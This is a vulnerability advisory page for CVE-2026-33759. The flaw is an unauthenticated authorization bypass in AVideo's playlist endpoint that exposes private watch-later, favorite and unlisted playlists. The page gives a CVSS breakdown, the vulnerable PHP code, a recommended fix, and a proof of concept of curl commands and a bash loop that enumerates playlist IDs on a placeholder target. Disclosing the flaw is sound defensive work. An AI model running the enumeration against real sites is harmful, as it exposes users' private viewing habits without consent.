CVE-2026-33759

MEDIUM
2026-03-26 https://github.com/WWBN/AVideo
5.3
CVSS 3.1
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CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

3
Analysis Generated
Mar 26, 2026 - 18:15 vuln.today
Patch Released
Mar 26, 2026 - 18:15 nvd
Patch available
CVE Published
Mar 26, 2026 - 18:05 nvd
MEDIUM 5.3

Description

## Summary The `objects/playlistsVideos.json.php` endpoint returns the full video contents of any playlist by ID without any authentication or authorization check. Private playlists (including `watch_later` and `favorite` types) are correctly hidden from listing endpoints via `playlistsFromUser.json.php`, but their contents are directly accessible through this endpoint by providing the sequential integer `playlists_id` parameter. ## Details The endpoint at `objects/playlistsVideos.json.php` accepts a `playlists_id` parameter and directly calls `PlayList::getVideosFromPlaylist()` with no ownership or visibility validation: ```php // objects/playlistsVideos.json.php:24-28 if (empty($_REQUEST['playlists_id'])) { die('Play List can not be empty'); } require_once './playlist.php'; $videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']); ``` The `getVideosFromPlaylist()` method at `objects/playlist.php:588` performs a SQL query joining `playlists_has_videos`, `videos`, and `users` tables with no authorization filter: ```php // objects/playlist.php:592-597 $sql = "SELECT v.*, p.*,v.created as cre, p.`order` as video_order " . " FROM playlists_has_videos p " . " LEFT JOIN videos as v ON videos_id = v.id " . " LEFT JOIN users u ON u.id = v.users_id " . " WHERE playlists_id = ? AND v.status != 'i' "; ``` In contrast, the listing endpoint `playlistsFromUser.json.php` correctly enforces visibility at lines 23-27: ```php // objects/playlistsFromUser.json.php:23-27 $publicOnly = true; if (User::isLogged() && (User::getId() == $requestedUserId || User::isAdmin())) { $publicOnly = false; } $row = PlayList::getAllFromUser($requestedUserId, $publicOnly); ``` This creates a bypass: even though private playlists are hidden from listing, their contents are fully exposed via the videos endpoint. Playlist IDs are sequential integers, making enumeration trivial. The `.htaccess` rewrite at line 356 maps the clean URL `playListsVideos.json` to this endpoint. ## PoC **Step 1: Enumerate playlist contents without authentication** ```bash # No cookies or auth headers needed. Increment playlists_id to enumerate. curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=1" | python3 -m json.tool ``` Expected: Returns full video metadata array for playlist ID 1, including video titles, filenames, URLs, user info, comments, and subscriber counts. **Step 2: Enumerate private playlists (watch_later, favorite)** ```bash # Iterate through sequential IDs to find private playlists for i in $(seq 1 50); do result=$(curl -s "http://TARGET/objects/playlistsVideos.json.php?playlists_id=$i") count=$(echo "$result" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null) if [ "$count" != "0" ] && [ -n "$count" ]; then echo "Playlist $i: $count videos" fi done ``` **Step 3: Confirm the listing endpoint correctly hides private playlists** ```bash # This correctly returns only public playlists for user 1 curl -s "http://TARGET/objects/playlistsFromUser.json.php?users_id=1" | python3 -m json.tool # Compare: playlistsVideos.json.php returns contents of ALL playlists including private ones ``` ## Impact An unauthenticated attacker can: - **Enumerate all users' watch history** by accessing `watch_later` playlist contents - **Enumerate all users' favorites** by accessing `favorite` playlist contents - **Access unlisted/private custom playlists** that were intentionally hidden from public view - **Harvest video metadata** including filenames, URLs, user information, and comments for videos in private playlists This is a privacy violation that exposes user viewing habits and content preferences. The sequential integer IDs make bulk enumeration straightforward. ## Recommended Fix Add authorization checks to `objects/playlistsVideos.json.php` before returning playlist contents: ```php // objects/playlistsVideos.json.php - add after line 27, before getVideosFromPlaylist() require_once $global['systemRootPath'] . 'plugin/PlayLists/PlayLists.php'; $pl = new PlayList($_REQUEST['playlists_id']); $plStatus = $pl->getStatus(); // Public playlists are accessible to everyone if ($plStatus !== 'public') { // Private, unlisted, watch_later, and favorite playlists require ownership or admin if (!User::isLogged() || (User::getId() != $pl->getUsers_id() && !User::isAdmin())) { header('HTTP/1.1 403 Forbidden'); die(json_encode(['error' => 'You do not have permission to view this playlist'])); } } $videos = PlayList::getVideosFromPlaylist($_REQUEST['playlists_id']); ```

Analysis

AVideo playlist video enumeration allows unauthenticated attackers to bypass authorization checks and directly access video contents from private playlists including watch_later and favorite lists via the playlistsVideos.json.php endpoint. Sequential playlist IDs enable trivial enumeration of all users' private viewing habits, favorites, and unlisted custom playlists without authentication. …

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Remediation

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Vendor patch is available.

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Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +26
POC: 0

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CVE-2026-33759 vulnerability details – vuln.today

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